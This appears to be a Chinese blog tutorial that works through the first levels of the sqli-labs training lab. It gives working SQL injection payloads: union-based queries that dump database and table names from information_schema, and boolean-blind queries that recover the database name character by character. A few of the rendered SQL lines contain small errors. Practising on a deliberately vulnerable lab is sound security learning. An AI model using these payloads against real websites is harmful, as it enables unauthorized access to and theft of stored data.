大家好,我是小歪的基友 小七, 小歪JJ歪了,去做手术了 看了这么久没有更新点啥,所以在此我就写点很基础的东西,一共是65个注入点,而我只写了前面的8个 还有57个注入点的过程我还没有写,希望有兴趣的道友与我一起研究共同进步。
Less-1
字符型注入
单引号报错:
之后:
id=1'order by 1
或:
id=1'order by 1111
都没有任何用,都只是反正错误
为什么猜不出来字段?
因为它的SQL语句是这样的:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
所以我们提交的语句是这样的:
SELECT * FROM users WHERE id='$id'' order by 111 LIMIT 0,1
后面还有limit 0,1
所以需要注释掉, %23 也就是 “#” 号
所以此时的语句是这样:
Order by 4报错说明是3
http://172.17.3.125/sqli-labs/Less-1/index.php?id=1' order by 3%23
然后通过:
这里说一点:union 和 union all 的区别
Union 把重复的去掉
Union all 不去重
此时我们提交语句:
http://172.17.3.125/sqli-labs/Less-1/index.php?id=1' union all select 1,version(),3%23
此时我们的语句并没有显示出版本号呀? 想了好久之后 语句是这样的:
http://172.17.3.125/sqli-labs/Less-1/index.php?id=-1' union all select 1,version(),3%23
就报错了
http://172.17.3.125/sqli-labs/Less-1/index.php?
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23//爆出所有数据库
http://172.17.3.125/sqli-labs/Less-1/index.php?
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23//爆出所有表
上面好理解不用觉得information_Schema后面是什么:
进入到mysql
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |//这个就是查询的数据库了 那数据库里面有什么?
| mysql |
| xxmysql |
+--------------------+
好理解了么?
Less-2
整形注入
和Less-1的不同是,在$id 并没有 ‘$id’ 所以他是直接传入的,如果是在’$id’是字符型
http://172.17.3.134/sqli-labs/Less-2/index.php?
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23
http://172.17.3.134/sqli-labs/Less-2/index.php?
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
Less-3
Error Based- String (with Twist)
可以看到,此时$id 变成了(‘$id’), 而我们此时注入的时候加入单引号是这样的:
就是在index.php?id=1’
所以SQL语句是这样:
select * from users where id = ('1'') limit 0,1;
当然这个时候我们要闭合那个括号, 所以注入需要 ‘)此时后面还有一个)就要用到%23(#)号注释掉
http://172.17.3.134/sqli-labs/Less-3/index.php?
id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23
http://172.17.3.134/sqli-labs/Less-3/index.php?
id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
Less-4:
Error Based- DoubleQuotes String
执行的SQL语句是这样的:
SELECT * FROM users WHERE id=("1") LIMIT 0,1
当我们提交:index.php?id=1’ 此时SQL的语句是这样的:
SELECT * FROM users WHERE id=("1'") LIMIT 0,1
双引号里,输入单引号是不会报错的,所以我们想办法要闭合
它不是双引号嘛,那我们也加个双引号,是不是变成了 :
SELECT * FROM users WHERE id=("1"") LIMIT 0,1
所以就报错了,这样就好办了,还有个括号就这样:
爆库:
http://172.17.3.134/sqli-labs/Less-4/index.php?id=
-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23
执行的SQL语句是这样:
SELECT * FROM users WHERE id=("-1") union select 1,group_concat(schema_name),3 from information_schema.schemata#") LIMIT 0,1
爆表:
http://172.17.3.134/sqli-labs/Less-4/index.php?id=
-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
Less-5
Double Query- Single Quotes- String
不是很清楚先写下来,后面继续研究
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and left(version(),1)=5%23
SELECT * FROM users WHERE id='1'and left(version(),1)=5#' LIMIT 0,1 判断是否为版本5,如果写成4则会出错
判断数据库长度是否为1,不是则返回错误页面:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=1%23
SELECT * FROM users WHERE id='1'and length(database())=1#' LIMIT 0,1 出错
判断数据库长度是否为5,不是则返回错误页面:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=5%23
SELECT * FROM users WHERE id='1'and length(database())=5#' LIMIT 0,1 出错
判断数据库长度是否为8,返回正常,而判断是否为9则出错,那么可以确认数据库名长度为8位
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=8%23
SELECT * FROM users WHERE id='1'and length(database())=8#' LIMIT 0,1 返回正常
猜数据库:
先是判断第一位数据库,a则返回正常,我们要找的就是返回正常前一个出错的字母
我拿a b c来解说: a 返回正常,b 返回错误 c返回错误 那么第1位数据库名则为B
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'a
SELECT * FROM users WHERE id='1' and left(database(),1)>'a' LIMIT 0,1 返回正常
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'z
SELECT * FROM users WHERE id='1' and left(database(),1)>'z' LIMIT 0,1返回错误
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'r
SELECT * FROM users WHERE id='1' and left(database(),1)>'r' LIMIT 0,1 返回正常
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'s
SELECT * FROM users WHERE id='1' and left(database(),1)>'s' LIMIT 0,1返回错误
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'t
SELECT * FROM users WHERE id='1' and left(database(),1)>'t' LIMIT 0,1返回错误
第一个字符为s
来对照一下:
a b c d e f g h i j k l m n o p q r s t u v w x y z
那么来猜第二位数据库名字母:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sa
SELECT * FROM users WHERE id='1' and left(database(),2)>'sa' LIMIT 0,1 返回正常
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sz
SELECT * FROM users WHERE id='1' and left(database(),2)>'sz' LIMIT 0,1 返回错误
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sd
SELECT * FROM users WHERE id='1' and left(database(),2)>'d' LIMIT 0,1 返回正常
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'se
SELECT * FROM users WHERE id='1' and left(database(),2)>'e' LIMIT 0,1 返回错误
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sf
SELECT * FROM users WHERE id='1' and left(database(),2)>'f' LIMIT 0,1 返回错误
说明第二个字符为e
以此类推:
第三:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),3)>'sec
第四:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),4)>'secu
第五:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),5)>'secur
第六:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),6)>'securi
第七:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),7)>'securit
第八:
http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),8)>'security
数据库名:security
那么我从查询资料上面,看了习科上面,也并没有说清楚,猜表名,他们给出的方法是这样的:
猜测的上面也是跟上面一样:
http://172.17.3.134/sqli-labs/Less-5/index.php?
id=1'and left((select table_name from information_schema.tables limit 0,1),2)>'ch
问题,有好多表怎么办? 并没有指定那一个数据库中的表是不? 当然,这个问题我还在想。
猜内容:
http://172.17.3.134/sqli-labs/Less-5/index.php?
id=1' and substr(left(username,1),1,1)=CHAR(68)%23
用sqlmap跑不出来,只是提示有注入
字数有限
本文始发于微信公众号(关注安全技术):注入基础(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论